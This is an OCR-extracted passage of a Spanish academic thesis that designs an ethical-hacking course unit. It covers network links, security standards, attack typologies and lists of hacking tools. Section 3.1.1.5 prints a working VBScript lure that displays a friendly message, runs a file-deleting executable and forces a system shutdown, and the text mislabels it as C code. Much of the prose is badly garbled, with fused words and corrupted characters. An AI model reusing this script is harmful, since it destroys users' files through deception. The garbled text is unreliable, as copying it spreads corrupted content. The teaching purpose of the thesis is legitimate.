®Fiber to the home. Se basa en la utilizacién déesate fibra éptica y sistemas de distribuciénafystiadaptados a
esta tecnologia para la distribucion de servici@naados (telefonia, Internet de banda ancha yis&le), a los
hogares y negocios de los abonados.

https://es.wikipedia.org/wiki/Fibra_hasta la_casa

Fiber to the building. Es una manera rentable paraitir la comunicacién de datos a alta velocigach edificios
con cableado existente.http://www.icotera.com/tetbgies/fiber-to-the-home/fiber-to-the-buildingkitt

2Fiber to the curb. Se refiere a la instalacién ysal de cable de fibra éptica directamente a lodilbas cerca de
casas 0 cualquier entorno empresarial como reemplde “servicio teleféonico de edad" (POTS).
http://searchnetworking.techtarget.com/definitid€f-to-the-curb

ZIFiber to cabinet. Similar a FTTN, pero la cabinarmario de telecomunicaciones estd mas cerca defios
normalmente a menos de 300 metros. https://es.ediaporg/wiki/FTTx

ZFiber to the exchange. No se considera parte deogde tecnologias FTTx, a pesar de la similituélemombre.
FTTE es una forma de cableado estructurado utdizggicamente en red de &rea local, que se upliza conectar
el armario de distribucién de fibra o6ptica para @lelo con un escritorio o0 estacion de trabajo.
https://es.wikipedia.org/wiki/FTTx

23 Arquitectura de redes de transporte ptico. Seritiesla arquitectura funcional de las redes desprarte 6pticas
que utilizan la metodologia de modelado descrito l& Recomendaciones UIT-T G.800yUIT-T G.805.
https://www.itu.int/rec/T-REC-G.872-201210-I/en
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El proceso operacional sobre el soporte opticoidaalos factores técnicos, que se citan a
continuacion:
+¢ Velocidad de propagacion.
% Refraccion.
¢+ Angulo critico.
« Perfil de indice.
«+ Configuracion: Escaldn sencillo y Escalon multinodo
+«+ Angulo y cono de aceptacion.
¢+ Apertura numérica.
¢ Perdidas: Absorcion, Dispersion, Dispersion CroogatRadiacion, Acoplamiento y Nodal.
+ Tipos de transmision.
o VPRZ: Transmision digital de regreso a cero unipola
o VPNRZ: Transmision digital de no regreso a cergoalair.
2.1.6 Enlace satelital.El satélite de comunicaciones es un repetidor de randependiente de
su posicién de giro orbital 0 geoestacionario (figura 6), cada enlace, identifica: el Azirfity
el Angulo de elevacion, junto con los siguientesipetros operacionales [Tomasi 2010]:
+«+ Potencia de transmision y energia de BIT.
+¢ Potencia, radiad isotrépico.
+«» Temperatura de ruido equivalente.
+¢ Densidad de ruido.
¢ Relacion de densidad de portadores.
+» Relacién de densidad de energia de Bit a ruido.
Técnicamente, el intercambio de valores inform&ticonlleva implicitamente la operacion de
estos factores: Unidad satelital, Enlace de sulgidaHz — 14 GHz), Enlace de bajada (10 GHz —

12 GHz), Patrén de comunicacion y Software de obwgtdistribucion.

2 Azimut: Angulo de orientacién vertical que formareeridiano que pasa por un punto de la esferaieele
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Figura 6. Estructura logica de enlace satelital.

Fuente: Construccién propia.
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2.1.7 Contextualizacion de la seguridadEn el entorno computacional, la seguridad se define
como la unidad de especificacion sistémica queratservicios, procedimientos y técnicas, que
regulan y proyectan la confiabilidad y disponikalid de una arquitectura computacional; sin
embargo la seguridad informatica, se define de dommas precisa, mediante el diagrama

sintactico que se sefiala en la figura 7 [Sheld@6R0

B SEGURIA

—> AUTENTCAGIENT

I—- EUTORIZACIEN ]

DISPONIBILIDAD.

CONTRARRESTAN
St SERVICIOS : ATAQUES ] /7
| £ NORVIATIVASENRE

|
Figura 7. Especificacion funcional de la seguridad.

Fuente: Aporte realizadores.

Los nucleos funcionales dispuestos por la reconwduaax.800, para la catalogacion de
servicios, comprenden: Autentificacion, Controladeeso, Confidencialidad de datos, Integridad
de los datos y No repudio. [Stallings 2012].

Complementariamente, los mecanismos de seguridesuponen y validan la significancia
operacional de estas entidades: Cifrado, firmataljgcontrol de acceso, integridad de datos,
relleno de trafico, control de enrutamiento, nai@eion, deteccidn y recuperacion.

La seguridad informatica, estructura las estrategigentadas a la eliminacion de las amenazas y
ataques, siendo la amenaza, la entidad que caadkfictencionalidad perturbadora y el ataque
es la medida del espectro de la vulnerabilidad,opumdeva la perturbacion o modificaciéon de un
dominio computacional para efectos de detalle geltedrico de sustento de este trabajo, se

describe lo relacionado con el concepto de atagamgnaza, las estructuras de seguridad, los
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ejes de dominio y las herramientas de apoyo pairagEementacion de acciones, los cuales se
tratan a continuacion:

+ Gradiente perturbador. El gradiente perturbador, es el eje sobre el @eldesarrollan e
implementan tanto las posibilidades de violaciome@dos asaltos a la seguridad, con la figura 8,
se explica la semantica de este gradiente.

ARQUITECTURA
COMPUTACIONAL

VULNERABILIDAD
EXPLOTACION

PROYELEG
I ENENT

g
‘f '.
[

RECOIG LU AEITY

Figura 8. Gradiente perturbador.

Fuente. Aporte realizadores.

¢ Estructura de seguridad.La estructura de seguridad, se acepta como eliesgderencial,
sobre el que se define una accion perturbadoraadestabilidad y confiabilidad de una
plataforma computacional o sistema teleinforma{i8ohneider 2000], el término estructura
valida sistémicamente, su esencia, dominio y teatiplad, involucrando los pardmetros légicos
gue construyen su valoracion semantica que lo ptageomo espacio y escenario.
Los principales escenarios operacionales, dondeea® el patron de seguridad son:

0 Seguridad correo electrénico.

0 Seguridad en la web.
o0 Seguridad IP.
o]

Seguridad en la gestion de redes.
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El alcance descriptivo, se ilustra de forma comesiente, con ayuda de las figuras 9, 10, 11y
12.
Debe resaltarse obviamente, que la definicion yampén de la estructura de seguridad, en el
entorno informatico, conlleva el conocimiento detdsnatica asociada con la deteccion de
intrusos, gestion de contrasefas, software dangistgmas de confianza.
El soporte tedrico de caracter normativo que redafa diferentes procesos de seguridad
computacional, esté integrado por:
0 X9.17% Gestion de claves.
RFC 2026% Normalizacion de internet.
RFC 2048": Algoritmo RC5.
RFC 2045% Marco mime.
RFC 2246: Protocolo TLS.
RFC 2459: Certificado X.509
RFC 2573: SNMP.
RFC 2575 Modelo VACM.
RFC 2828: Vademécum de seguridad.
RFC 3174: Algoritmo Hash.
X.800: Arquitectura de seguridad OSI /1SO.
X.509: Clave publica.
SP 800-38A" Cifrado de bloque.
FIPS 46.3: Cifrado DES.
FIPS 113: Autentificacion de datos.
FIPS 18%: Generador automatico de claves.
FIPS 186.2: Firma digital.

O O 0O 0O O 0O 0O 0O o o o o o o o o

25X 9.17 es un estandar el cual permite la gestédaves mediante el estandar de cifrado DES.

% RFC 2026 es el proceso que normatiza los protsgofirocedimientos de la comunidad de internet.

2'RFC 2040 define sistemas de cifrado para la inezadplidad entre las aplicaciones.

ZRFC 2045 describe mecanismos para resolver simipatbilidad los formatos de los mensajes de correo
RFC 2575 Modelo de control de accesos basado émsyidetermina si el acceso a la MIB (base de digos
informacion jerarquica) es permitido.

30Sp 800-38A detalla los modos de confidencialidad pas algoritmos de cifrado.

3IFIPS 181 pretende evitar la aparicién de contrasefialiccionarios mediante caracteres aleatorios.
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Figura 9: Seguridad en correo electronico.
Fuente: Construccion propia.
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INDICE DE
VULNERABILIDAD
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SEGURIDAD T : m
{ PASARELA

Figura 10. Seguridad en la web.
Fuente: Aporte realizadores.
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Figura 11. Seguridad IP.

Fuente: Aporte realizadores.
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Estacion de gestion

Agente de gestion

Base de informacion
Protocolo de gestion
—RFC 1155 -
——MIB
—RFC 1157

5 Vista MIB
POLITICA DE Prozy
ACCESO
Acceso SNMP

—— Mensajes

—— Seguridad de usuario

—— Motores

Autorizado 1
l:NO autorizado :]_ Gl
Figura 12: Seguridad SNMP.

Fuente: Construccién propia.

+«+ Dominios de seguridadEl dominio de seguridad, es considerado como eneso donde se
definen y aplican los agentes disturbadores dentiegiidad de un sistema teleinformatico
[Garcia-Moran 2013]; los dominios de consideradigitional son:
o Dominio de usuario: Workstation, PC, Iphone.
o Dominio de red: LAN, HUB, SERVIDOR:

» Archivos.

» Comunicaciones.

» Impresion.

> Base de datos.

» Correo electronico.

» Backup.
o Dominio ampliado LAN-WAN: Router, firewall, mainfnae, honeypot, servicios simples y

servicios complejos.
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La conectividad l6gica de estos dominios se obsemva figura 13.

Workstation

_ _E
Iphone

A 4

FTTH o

\ —

— FITC =
FTTCMB s
4——/ FTTEX

Figura 13. Dominios de seguridad.

Fuente: Construccion propia.

+« Herramientas de operacion.El conjunto de herramientas de operacién, que iBezaat con
frecuencia para evaluar las vulnerabilidades yuesiran los ataques de mayor referenciacion
son: [Garcia-Moran 2013]
0 Analisis de red.
> Netscan Tools.
0 Trazado de rutas.
» Tracert.
» Tracerroute.
0 Escaneo y scripting.
» NMAP.
» NETCAT.
» SSS (Shadow Security Scanner).
» NESSUS.
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Gestion de vulnerabilidad.

o

» Metasploit.
» Meterpreter.
» Brutus.
o0 Robo de contrasefias.
» Keylogger.
o Penetracion.
» NET.
» NETSTAT.
» SNMPUTIL.
0 Enumeracion.
» WERZID.
» SIDZUSER.
» CAIN&ABEL.
» NBTDUMP.
» WERDUMP.
» USERINFO.
» ENUM.
» DUMPSEC.
» FOCA.
2.2.Proceso funcional de hacking
El incremento exponencial del nimero de ataquda eed, producto de la masificacién de las
tecnologias de la informacion y las comunicaciohasjemandado a las agencias especializadas
de seguridad y a la organizacién inteligente, gangestructurar estrategias orientadas a reducir
el riesgo producido por los bucaneros y enemigda ded.
A continuacién, se describen los principios fundatales que se profundizaran en el capitulo
correspondiente al disefio de la solucion pretendida
2.2.1Intrusos. Convencionalmente un intruso, se define en etlejéa seguridad informatica,
como la entidad que modifica los atributos de @iifidad, disponibilidad e integridad de la
informacién que participa en la realizacion de tr@ensaccion teleinformatica, su operacion

regular, se observa en la figura 14.
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X
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Integridad
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e e madificaciGn

o 9 Fabricacion

Figura 14. Accién nominal del intruso

Fuente: Aporte realizadores.

El intruso, puede producir en la arquitectura quaca fallas de alta consideracion o
perturbaciones de caracter elemental, segun seefelgividad del proceso realizado, se
consideran efectos de alta consideracion las qudificen totalmente la configuracion de la
arquitectura computacional, ejemplo de estas son:

«+ Eliminacién de archivos.

¢ Modificacién de valores de emision y recepcion.
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+«»+ Congelacion del servidor.

+ Alteracion de parametros de control.

¢ Blogueo de unidades operacionales.

«+ Desvio y cambio del valor transaccional.

Mientras que estas fallas son consideradas deralenié:

+ Introduccién de contenidos de alarma.

+ Cancelacion de operacion para catalogacion dertabgm.

“ Modificacion funcional del proceso transaccional.

++ Activacion del soporte del narrador.

“ Bloqueo de parametros en la bitacora de contr@ELOG (Input Output Error Login).

2.2.2 Software dafiino.El software dafiino, es el soporte conversacionalequplea el grupo de
hackers, para ocasionar dafios en el usuario furadijonalmente su clasificacion se aprecia en la
figura 15.

4" MALWARE '

Proceso con: Bombas
anfitrion :

Caballos de

Trrva

Proceso
Independiente

Proceso

_ Bpecial

Adware

40 0060 0 00

Figura 15. Software dafiino.

Fuente: Construccion propia.
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Las estrategias que permiten bloquear su accid@icara en la utilizacion del conjunto de
mddulos de software especializado, que se lista aqu

+ Bitdefender: www.bitdefender.com

+» Kasperskywww.kaspersky.com

s Webroot:www.webroot.com

« Eset Nod32www.eset.com

< AVG:www.avg.com
< Avira: www.avira.com

« Trend Micro:www.trend.com

¢ Microsoft securitywww.microsoft.com/security essentials

El patronato operacional de este soporte se tegialado por agencias como NC3&National
Cyber Security Alliance), C81 (Computer Security Institute) y la US-CERT (UnitStates
Computer Emergency Readiness Team).

2.2.3Tipologia de ataques.El ataque como asalto a la seguridad, productandeamenaza
inteligente cuya finalidad es la destruccion fisalégica del objetivo seleccionado, se
materializan en estos ndcleos operacionales:

¢ Fuerza bruta.

% Spoofing™*.

¢ Hijacking.

+ Hombre en el medio.

% Masquerading.

+ Ingenieria social.

¥NCSA es una asociacion publico-privada para promiaveoncienciacion sobre la seguridad cibernéima los
usuarios domeésticos, empresas pequefias y mediagasla educacion primaria y secundaria.
https://en.wikipedia.org/wiki/National_Cyber_SeduriAlliance

%CSlera una organizacién de membrecia profesiomgestlo los profesionales de la informacién, la seth
seguridad fisica del ordenador habilitado, desdevel de administrador del sistema a la oficialséguridad de la
informacion.

https://en.wikipedia.org/wiki/Computer_Securitystitute

34Spoofing Hace referencia al uso de técnicas asrdedas cuales un atacante, generalmente comasimosos o
de investigacion, se hace pasar por una entidéidtdia través de la falsificacion de los datosiea comunicacion.
https://es.wikipedia.org/wiki/Spoofing

#Masquerading permite a los equipos internos siniclbanconocido fuera de su red, para comunicarse el
exterior.

http://www.comptechdoc.org/independent/networkingdg/netipmasq.html
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< Phishing®.

% Phreaking".

% Pharming®.

% Sniffing® o eavesdroppirig

Las herramientas utilizadas para la realizacidatdques de uso frecuente son:

¢ VS: Buscadores de vulnerabilidad.

+ PS: Buscadores de puertos.

«¢ Sniffer: Capturador de trafico.

% Wardialers: Marcador telefonico.

+ Keyloggers: Registrador de teclado.

Los ataques, explotan las vulnerabilidades quegistran en los diferentes dominios de trabajo,
tal como se muestra en la figura 16, dichos atagaesriginan en estas fuentes de proceso, a
saber:

+ Software dafino.

¢ Terrorismo.

+«¢+ Espionaje industrial.

+«+ Congelacion equipo.

«+ Perturbacion del middleware

¢+ Desastre logico y eléctrico.

%phishingsuplantacién de identidad es un términarinético que denomina un modelo de abuso informéatique

se comete mediante el uso de un tipo de ingenmstaal caracterizado por intentar adquirir inforidac
confidencial de forma fraudulenta.

https://es.wikipedia.org/wiki/Phishing

¥Phreaking es la actividad de aquellos individuog quientan sus estudios y ocio hacia el aprendigaje
comprension del funcionamiento de teléfonos derdavéndole, tecnologias de telecomunicacionesjdnamiento

de compafiias telefénicas, sistemas que componeredrtalefénica y por ultimo; electronica aplicaaistemas
telefonicos.

https://es.wikipedia.org/wiki/Phreaking

*pharminges la explotacién de una vulnerabilidaelesoftware de los servidores DNS o en el de tpspes de

los propios usuarios, que permite a un atacanteigedun nombre de dominio a otra maquina distiribe esta
forma, un usuario que introduzca un determinadohmende dominio que haya sido redirigido, acceder&ie
explorador de internet a la pagina web que el atachaya especificado para ese nombre de dominio.
https://es.wikipedia.org/wiki/Pharming

%93niffing se trata de una técnica por la cual sedpuscuchar" todo lo que circula por una red. Egte en
principio es propio de una red interna o Intrantinbién se puede dar en la red de redes: Internet.
http://www.internetmania.net/int0/int93.htm

“Eavesdropping se refiere a ataques de escuchas,sslore medios con informacion cifrada, como rfrada.
https://es.wikipedia.org/wiki/Eavesdropping
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Corminio de
—

Figura 16. Dominios de accion de ataque.

Fuente: Disefo requerido.

Para eliminar los ataques, la norma x.800 estaltdsoestrategias de control, asociadas con estos
procesos:

% Autentificacion.

+ Control de acceso.

+ Confidencialidad.

+ Integridad.

¢ No repudio.

El desastre légico y eléctrico corresponde a lasiones producidas por los pulsos

electromagnéticos (EPM) o por las radiofrecuendealta energia (Herf).
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Finalmente, se debe citar, que los causantes ougtarés de ataques, se agrupan en las
siguientes categorias:
% BHH: Black Hat Hacker
 WHH: White Hat Hacke?
< GHH: Gray Hat Hackér (Wannabé'
Es preciso citar, que la organizacion inteligenéb@a solidos planes de seguridad al interior
del proceso de auditoria, que se aplican sobiréss que se listan:
+ Software antivirus.
« Politicas de acceso.
+ Deteccion de intrusos.
++ Monitoreo de eventos.
+ Politicas de confiabilidad.
+«+ Acciones de contingencia.
+«+ Seguridad fisica.
+« Administracion de configuracion.
+¢ Proteccion de unidades o dispositivos.
Contrarrestar un ataque, implica el considerasta te referentes que se citan a continuacion:
« Proceso de autentificacion.
o Kerbero§®
» Seguridad.
> Fiabilidad.

» Transparencia.

“IBHH: Black Hat Hacker: Los hackers de sombrero meguestran sus habilidades en informatica rompiendo
sistemas de seguridad de computadoras, colapsamddases, entrando a zonas restringidas, infectardes o
apoderandose de ellas, entre otras muchas cosdizanatb sus destrezas en métodos hacking.
https://es.wikipedia.org/wiki/Hacker#White_hat_yatk hat

*2WHH: White Hat Hacker: Se refiere a una ética haakee se centra en asegurar y proteger los sistémas
tecnologias de la informacion y la comunicaciotpsit/es.wikipedia.org/wiki/Hacker#White_hat_y [Kahat

“3GHH: Gray Hat Hacker. Son un hibrido entre los leaskle sombrero blanco y de sombrero negro. Usn#me
atacan por intereses personales o con malas iotes;ipero estan preparados para cometer delitastdiel curso

de sus hazafias tecnolégicas con el fin de log@mayor seguridad. https://es.wikipedia.org/wikifoero_gris
*“Wannabe son aquellos a los que les interesa el denficking y/o phreaking pero que por estar enmuezao
son reconocidos por la elite. Son aquellos queeiqveran aprendiendo y estudiando, pueden llegan\ertirse
perfectamente en hackers. http://aldanagonzalebiogspot.com.co/p/samurai-phreaker-y-wannabe-
definiciones.html

“>Kerberos es un protocolo de autenticacion de rédesdenador creado por el MIT que permite a ddsradores

en una red insegura demostrar su identidad mutuerdermanera segura. https://es.wikipedia.org/iéderos
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» Escalabilidad.
o X.509
» Certificador.
¢ Proceso de correo electrénico.
o PGP?® (PrettyGoodPrivacy).
o S/Nine (RFC 822)
» Datos empaquetados.
» Datos firmados.
» Proceso de certificador.
¢ Proceso IP.
o IPSEC
» Control de acceso
> Integridad sin conexion.
» Autentificacion.
» Rechazo.
» Confidencialidad
o Gestion de claves
> Protocolo Oakle¥/.
> ISAKMP*®
¢ Proceso web.
o Arquitectura SSf?
o Arquitectura TLS?

“PGP (PrettyGoodPrivacy) es un programa desarrolfioPhil Zimmermann y cuya finalidad es proteger |
informacion distribuida a través de Internet mettiagl uso de criptografia de clave publica, asiadacilitar la
autenticacion de documentos gracias a firmas thgitattps://es.wikipedia.org/wiki/Pretty Good_Rgy

“’Protocolo Oakleyes un protocolo clave-acuerdo cerenjte a las partes autenticadas para intercamtserial
clave a través de una conexién insegura usandolgelritno de intercambio de claves Diffie-Hellman.
https://en.wikipedia.org/wiki/Oakley_protocol

“8|SAKMP es un protocolo criptografico que constituje base del protocolo de intercambio de claves
IKE.ISAKMP define los procedimientos para la auigation entre pares, creacion y gestion de asaxiaside
seguridad, técnicas de  generacion de claves, y laitigagion de la  amenaza.
https://es.wikipedia.org/wiki/Internet_Security Asgtion_and_Key Management_Protocol

“SArquitectura SSL Protocolo de seguridad, disefiamoNetScape Communications Inc. y RSA Data Secimity
para establecer asociaciones seguras entre un sprocecliente y otro servidor.
http://pegaso.ls.fi.upm.es/arquitectura_redes/T2Algb-seg-11.pdf

*Arquitectura TLS es el sucesor del protocolo SSLe gpermite que internet sea mas seguro.
delta.cs.cinvestav.mx/~francisco/ssi/¢lsi.ppt
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o Arquitectura SET*
El proceso operacional que registra e ilustra Idinmente al hacking ético cubriendo sus
aspectos basicos y sefialando los procedimientosnafes con la ejemplificacidon

correspondiente, se presentan en el contenidogahiieeen el capitulo tres.

*lArquitectura SET es una especificacion que detaBainstrucciones que una unidad central de protesio
puede entender y ejecutar, o el conjunto de tamsdmandos implementados por un disefio partidelana CPU.
https://es.wikipedia.org/wiki/Conjunto_de_instrumees
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3. CONSTRUCCION DE LA SOLUCION

En este capitulo, los realizadores exponen el nfarowal que define el escenario de la solucion
propuesta, que se caracteriza por ofrecer a la woladi académica quien se interesa por cursar
la electiva de seguridad digital, especificament®eaorrespondiente al hacking ético.
Cada unidad de aprendizaje sistematico, compre&sdgduientes factores:
+ Titulo temético de aprendizaje.
+ Objetivo de la unidad de aprendizaje.
% Componentes tematicos.
¢ Actividades de complementacion.
% Referentes bibliograficos.
En lo sucesivo, se desarrollan las UAES (Unidade#\prendizaje por Exposicién Sistémico)
gue se listan, a saber:
+« Generalidades del hacking ético.
+¢ Intrusos y delito informatico.
+ Software dafino.
+«¢+ Configuracion operacional del vector de ataque.
+ Instrumentos de valoracion funcional.
3.1. UAES 1: Generalidades del hacking ético
+«» Objetivo de aprendizaje Proporcionar al interesado, la contextualizaciéhproceso de
hackeo, para facilitar la comprension y dimensioeato de su operacion en la sociedad de la
informacion y el ciberespacio.
« Componentes tematicos

o Conceptualizacion general.

o Paradmetros légicos de la seguridad.

o Escenario operacional.

o Guerra de la informacion.
3.1.1Conceptualizacion general.Se daran a conocer los conceptos béasicos de sadgurid
informatica, se referenciaran las agencias reguadp se valorara la terminologia pertinente a
los ataques, amenazas y agentes generadores uib@arin en los dominios computacionales.
3.1.1.1. Seguridad digital.
+¢ Atributo cualificador de la confiabilidad e intedaid de un sistema computacional.
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+ Factor de medida de la integridad operacional @eanguitectura teleinformatica.

+ Conjunto de especificaciones y normativas que @stran el nivel de confiabilidad y
respuesta ante la presencia de una amenaza o.ataque

3.1.1.2. Agencia reguladora. Entidad responsable de la especificacion, definicig
promulgacién de la normatividad reguladora de lexg@sos asociados con los mecanismos y
servicios de seguridad, estas son:

+ IAB.

< IETF.

» IESG.

Su funcionalidad, se registra en la figura 17.

Ciberespacio

Plataforma de
conectividad

Senvicio Mecanismo

Figura 17. Funcionalidad agencia reguladora.

Fuente: Disefio pertinente por realizacion.

3.1.1.3. Referentes operacionalesDocumentos cuyo construido registra la normatividad
requerida para ejecutar operaciones confiablesntura intercambio transaccional sobra una
arquitectura teleinformética, entre estas se er@aren

% RFC 2828: Vademécum de especificaciones.

« RFC 1321: Algoritmo MD5.
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« RFC 1636: Seguridad en internet.
% RFC 2026: Normalizacion.
+ RFC 2045: Mime.
+ RFC 2246: TLS.
+ RFC 2573: SNMP.
+ RFC 2630: Sintaxis de mensajes criptogréficos.
+ RFC 3174: HASH.
+«» X.509: Clave publica.
¢ X.800: Arquitectura de seguridad OSI.
+ FIPS 181: Generacion automatica de contrasefias.
3.1.1.4. Terminologia basica.El estudio del hacking ético, precisa del conoeirto e
interpretacion formal de los siguientes conceptos:
% Amenaza. Accion que determina la confirmacion ol@&gion de una vulnerabilidad en el
dominio seleccionado.
% Ataque. Operacion o accion definida sobre un raferde dominio l6gico para estructurar un
dafio o producir un desastre ponderado como daefomatico.
« Dominio. Eje de accion sobre el que se cualificaamntrol o una operaciéon de validacion de
confiabilidad e integridad.
Los dominios basicos son:
0 Dominio de usuario.
Dominio de estacion.
Dominio LAN.
Dominio LAN to WAN.
Dominio WAN.

o Dominio de accidn rebote.

o O O o

% Servicio. Entidad que permite contrarrestar la@tde una amenaza o ataque, sus nucleos de
operacion son:

o Autentificacion.

o Control de acceso.

o Confidencialidad.

0 Integridad.
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o No repudio.
%+ Mecanismo. Cuantificador l6gico estructural quenptr detectar la presencia o accion de una
amenaza o ataque, los nucleos de conformaciénetdmsmo son:
o Cifrado.
Firma digital.
Control de acceso.
Relleno de trafic?
Enrutamiento.

Notarizacior®

o O O O O o

Etiqueta de seguridad.
+ Factores de consistencia. Valoradores descriptieda operacion de una solucion telemética,
comprenden:

0 Interoperabilidad.

0 Gestionabilidad.

o Seguridad.

o Capacidad.
En la figura 18, se presentan dichos factores dsistencia, para identificar su funcién, a saber:
« Interoperabilidad. Conectividad y flujo entre atqaturas heterogéneas a nivel operacional.
+«» Gestionabilidad. Configuracion légica de hardwaspeeializado para monitoreo y ejecucion
transaccional.
+«+ Seguridad. Especificacion de confiabilidad e intiagt.

+ Capacidad. Medida del volumen transaccional de fiuje la velocidad de intercambio.

%2 Consiste en enviar trafico espurio junto con lafos validos para que el atacante no sepa si &eepgiando
informacion, ni qué cantidad de datos utiles se & est transmitiendo.
http://www.delitosinformaticos.com/especial/segadtmecanismos.shtml

%3 Autenticacién o certificacion de documentos impoteé a través de un notario para la identificaclénuna
persona y de este modo evitar fraude o suplant&eida informacion.

>4 Se encargan de proteger de forma efectiva cohtobe los productos en toda la cadena de valoceeinentar la
transparencia del inventario. http://directortictpbinformatico.com/seguridad/etiqueta-seguridadigpositivo-
multifuncional-201205312627.htm
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Figura 18. Factores de consistencia.

Fuente. Disefio requerido.

% Congelacion. Proceso o estado generado por aco®rurd ataque, que modifica la

operacionalidad de toda arquitectura; se manifdstasta manera:

0 Omisién
» Recepcion.
» Transmision.
o Tiempo

» Sincronismo equivoco del oscilador.
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» Falla o alteracion de parametros.
0 Respuesta

» Valor transaccional.

» Estructura y contenido.
0 Arbitraria

» Desborde de puerto.

» Equivoco direccionamiento.

» Falla de enrutamiento.
+«» Actores de accion. Sujetos descriptores de riegge, estructuran acciones orientadas al
sabotaje, a la exploracion o al cometimiento deagwdn selectiva, cominmente se identifican
estos agentes:

o BHH: Black Hat Hacker

o WHH: White Hat Hacker

0o GHH: Gray Hat Hacker

o Cracker
Las herramientas de uso convencional en el trateftichos actores son:

o Exploradores de vulnerabilidad.

o Exploradores de puertos.

o Sniffers>®

o Wardialers®®

o Keylogger®’
Los ndcleos o escenarios de operacion de uso frecper los denominados actores de accion
son:

o Ataque por fuerza bruta.

o Diccionario.

0 Addressspoofing.

%5 Programa informaético que registra la informacidie gnvian los periféricos, asi como la actividatizada en un
determinado ordenador. https://es.wikipedia.orgliitecci%C3%B3n_de_sniffer

%%Es un tipo de programa que se encarga de escaimeargs telefénicos empleando un médem, buscandsilasju
gue estén conectados a computadoras. http://wwysaleom.ar/Dic/war%20dialer.php

" Es un tipo de software o un dispositivo hardwaseeeifico que se encarga de registrar las pulsasiqoe se
realizan en el teclado, para posteriormente memdaiz en un fichero o enviarlas a través de interne
https://es.wikipedia.org/wiki/Keylogger
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o Hijacking.

o Man in the middle.

0 Masquerading.

o Ingenieria social.
+«» Software repelente. Soporte l6gico, que permitdigorar y recuperar un ndcleo informatico,
luego de detectarse y valorarse el escenario ageltel ataque, convencionalmente se alude
con este nombre al conjunto de antivirus de useamional, entre los que se encuentran:

o Bitdefenderwww.bitdefender.com

o Kasperskywww.kaspersky.com

o Webroot:www.webroot.com

o AVG antivirus:www.avg.com
0 Microsoft security essentialgww.microsoft.com

+«+ Organizacion de ataque. Grupo responsable de i@nagenerada por las consecuencias de un
ataque; su presencia en el ciberespacio los cataogo la super conciencia que viaja en la
misma direccion, en el entorno de la seguridadesenoce como base discursiva el conocido
lema de Anonymous:

“Knowledge is free

We are anonymous

We are legion
We do not forgive
We do not forget
Expect us”

3.1.1.5. Script. Unidad légica que implementa y define un conjurgcogeraciones orientadas a
configurar un ataque. Por ejemplo, el segmentdesigel, registra un codigo embebido escrito en

leguaje C, que borra los archivos del directorles@onado.
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Set wshShell = wscript.CreateObject(“wscript.shell”
Dim neusa, Libre
neusa = “l am only for you...give me a kiss”
wshShell.run (“desert.jpg”)
Set Libre = CreateObject(“smpi.spvoice”)
Libre speak neusa
wscript.sleep 800
wshShell.run (“notal.jpg”)
msgbox “Disfruta mi belleza”, 512, “intentalo”
wshShell.run (“borre.exe”)
wshShell.run (“shutdown -s —f —t 20”)
Este script, cautiva la atencion del usuario y alenf amigable le invita a no despegar su
interaccion para luego borrar los archivos y apagaistema.
Para fines de documentacién, se presentan loesigsi modulos:
% Creacion de ventanas
msgbox “JUAN SANCHEZ — ANDRES MUNOZ”, 48, “UNIVERSIAD LIBRE!”
msgbox “SOMOS LOS MEJORES”, 20, “IMAGEN INSTITUCIGYL!”
% Activacion del cd
Set OWMP = CreateObject("WMPlayer.OCX.7”)
Set ColCDROMS = OWMP.cdromCollection
If CoICDROMS.Count then
For i =0 to ColICDROMS.Count — 1
ColCDROMS.Item(i).Eject
Next * cdrom
End if
+ Programacion leds de control
Set wshShell = wscript.CreateObject(“WScript.Shell”
wscript.sleep 50
wshshell.sendkeys’{CAPSLOCK}"
wshshell.sendkeys’{NUMLOCK}’
wshshell.sendkeys{SCROLLLOCK}”
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% Enlace al narrador
Dim speaks, speech
speaks="UNIVERSIDAD LIBRE 2015”
Set speech=CreateObjects(“sapi.spvoice”)
speech.Speak speaks
¢+ Control del reloj
Set librel = CreateObject(“Scripting.FileSystem@btje
Set sistemas = FSO.OpenTextFile(“nota.txt”, 8, Jrue
salida = Date & “ “ & Time
sistemas.WriteLine(salida)
sistemas.Close
Set sistemas=Nothing
Set Librel1=Nothing
3.1.1.6. Hacking ético. Proceso sistemético integral y metodolégico queicapllos
conocimientos de un hacker a estructurar y forrankstrategias de caracter defensivo, con el
fin de consolidar las politicas de seguridad esrggnizacion.
El hacking ético, presupone el dominio de esteeregtes.
+«+ Dominio de programacion
+«+ Conocimiento de sistemas operativos
+¢+ Conocimiento de redes, protocolos, configuracigestion telemética
+ Instalacion de hardware
El hacker como guru, se enfrenta a la accion dalker (agente destructor), para minimizar la
accion del riesgo y garantizar los elementos ealxcde la seguridad, a saber:
¢ Confidencialidad
+ Autenticidad
+¢ Integridad
+¢ Disponibilidad

La accion operacional del hacker, se registra éiglaa 19.
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Figura 19. Accién operacional del hacker.

Fuente: Aporte realizadores.

El responsable del hacking ético, debe potenciaktaempleo de los denominados test de
seguridad, a saber:

% Caja negra (black bo3®

% Caja blanca (white boX)

< Caja gris (gray boX}

En el transcurso del desarrollo de la seguridadpctacional, se reconocen estos nombres, dada
Su accion participativa, a saber:

+« Paul Baran

¢ Kevin Mitnick

% Mark Abene

+«+ John Draper

*Elemento que es estudiado desde el punto de vislasdentradas que recibe y las salidas o respugees
produce, sin tener en cuenta su funcionamientonotéttps://es.wikipedia.org/wiki/Caja_negra_(sists)

*Se denomina a un tipo geuebas de softwamue se realiza sobre las funciones internas dmdaghula
https://es.wikipedia.org/wiki/Caja_blanca_(sistejnas

9Se basa en la realizacién de testing de caja hegado en casos de prueba realizados por persomasmpcen el
programa por dentro.https://jummp.wordpress.contlZIBI27/testing-de-caja-gris-grey-box-testing/
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+«¢+ Chenling-Hou

+ Johan Helsingius

¢ Sir Dystic

+ David Smith

s TsutomuShimomura

El propdsito fundamental del hacker ético es dspuesta a estas preguntas:

*
0.0

¢, Qué vulnerabilidades se poseen?

X/
°

¢, Qué accion puede efectuarse?

*
0.0

¢ Como se detecta un ataque?

*

¢, COmo se recupera la configuracion luego del afaque

L 4

*
0.0

¢ Como se blinda la arquitectura?
3.1.1.7. Tipologia de vulnerabilidadesEl hacker, se caracteriza por conocer e instrumdsda
vulnerabilidades presentadas en la capa de red, d@pnternet, capa de transporte y capa de
aplicacion, cuya manifestacion se valora asi:
+«» Capa de red
o Control de acceso
o Confidencialidad
+ Capa de internet
o Sniffing a datagramas.
o Suplantacién de mensaje
o Denegacion
+ Capa de transporte
0 Intercepcion sesiones TCP
0 Secuestro de sesion
+» Capa de aplicacion
0 Servicio nombres de dominio
0 Servicios TelNet/FTP/HTTP
